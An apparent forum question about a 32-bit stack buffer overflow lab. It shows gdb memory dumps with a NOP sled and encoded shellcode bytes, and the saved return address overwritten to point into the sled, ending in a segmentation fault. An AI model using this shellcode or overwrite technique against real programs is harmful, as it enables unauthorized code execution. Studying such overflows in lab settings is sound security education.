First of all, this is not a virus. It is just lab exercise for x86 microprocssors. In a user environment, they bring up a user shell and not a root one. With the -m32 option, I first check the frame information Stack level 0, frame at 0xffffd050: eip = 0x565555e8 in main (mico.c:36); saved eip = 0xf7deb986 source language c. Arglist at 0xffffd038, args: argc=1, argv=0xffffd0e4 Locals at 0xffffd038, Previous frame's sp is 0xffffd050 Saved registers: ebx at 0xffffd02c, ebp at 0xffffd038, esi at 0xffffd030, edi at 0xffffd034, eip at 0xffffd04c That means return address is at 0xffffd04c and the value is 0xf7deb986. Then I print the location of buffer and dest. (gdb) run Starting program: /home/mahmood/mico Breakpoint 1, main (argc=1, argv=0xffffd0e4) at mico.c:36 36 strcpy( dest, buffer ); (gdb) p &buffer[0] $1 = 0xffffcf27 (gdb) p &dest[0] $2 = 0xffffcfbc (gdb) x/80x 0xffffcf27 0xffffcf27: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcf37: 0x90909090 0x90909090 0x90909090 0x0deb9090 0xffffcf47: 0xb1c9315e 0x35368021 0xebfae246 0xffeee805 0xffffcf57: 0x735fffff 0x04ee046d 0x04b5f8fc 0x6d3e5fe7 0xffffcf67: 0x4f1a5d67 0x1a5d5d46 0xbc5b5c57 0xbc6667d6 0xffffcf77: 0x90b5f8d4 0x90909090 0x90909090 0x90909090 0xffffcf87: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcf97: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcfa7: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcfb7: 0xffffcfd2 0xffdc1000 0xffca00f7 0xffd0ecf7 0xffffcfc7: 0x0000e0ff 0xf047b700 0xffdde0f7 0xffd020f7 0xffffcfd7: 0x000000ff 0x00000000 0x00000000 0xffd2c500 0xffffcfe7: 0xfa2000ff 0xe6bbfff7 0x000001f7 0xffca0000 0xffffcff7: 0xfa2000f7 0xdeb424f7 0xfa2000f7 0xffd0e4f7 0xffffd007: 0xfa2000ff 0x008000f7 0x10000000 0x556fd400 0xffffd017: 0x00000156 0x55566b00 0x00000156 0xffd0e400 0xffffd027: 0xffd050ff 0x000000ff 0x00000100 0xfa200000 0xffffd037: 0x000000f7 0xdeb98600 0x000001f7 0xfa200000 0xffffd047: 0x000000f7 0xdeb98600 0x000001f7 0xffd0e400 0xffffd057: 0xffd0ecff 0x000000ff 0x00000000 0x00000000 Look at 0xffffd04c where the 0xf7deb986 is saved. Now if the data is copied starting from 0xffffcf27 to 0xffffcfbc, the last address, 0xffffcfb7, which contains 0xffffcfd2 will replace the return address. No matter what is the layout of the stack in 32-bit version, I just found its location, verified the content and replaced the content with a new value. The new value is 0xffffcfd2 which points \x90. (gdb) next Program received signal SIGSEGV, Segmentation fault. 0x56555614 in main (argc=<error reading variable: Cannot access memory at address 0x90909090>, argv=<error reading variable: Cannot access memory at address 0x90909094>) at vuln.c:40 40 } (gdb) x/80x 0xffffcf27 0xffffcf27: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcf37: 0x90909090 0x90909090 0x90909090 0x0deb9090 0xffffcf47: 0xb1c9315e 0x35368021 0xebfae246 0xffeee805 0xffffcf57: 0x735fffff 0x04ee046d 0x04b5f8fc 0x6d3e5fe7 0xffffcf67: 0x4f1a5d67 0x1a5d5d46 0xbc5b5c57 0xbc6667d6 0xffffcf77: 0x90b5f8d4 0x90909090 0x90909090 0x90909090 0xffffcf87: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcf97: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcfa7: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcfb7: 0xffffcfd2 0x90909000 0x90909090 0x90909090 0xffffcfc7: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffcfd7: 0xeb909090 0xc9315e0d 0x368021b1 0xfae24635 0xffffcfe7: 0xeee805eb 0x5fffffff 0xee046d73 0xb5f8fc04 0xffffcff7: 0x3e5fe704 0x1a5d676d 0x5d5d464f 0x5b5c571a 0xffffd007: 0x6667d6bc 0xb5f8d4bc 0x90909090 0x90909090 0xffffd017: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd027: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd037: 0x90909090 0x90909090 0x90909090 0x90909090 0xffffd047: 0x90909090 0xffcfd290 0x000000ff 0xffd0e400 0xffffd057: 0xffd0ecff 0x000000ff 0x00000000 0x00000000 As you can see the 0xffffcfs2 is correctly placed in 0xffffd04c. Still I wonder why that is called undefined behavior?! Regards, Mahmood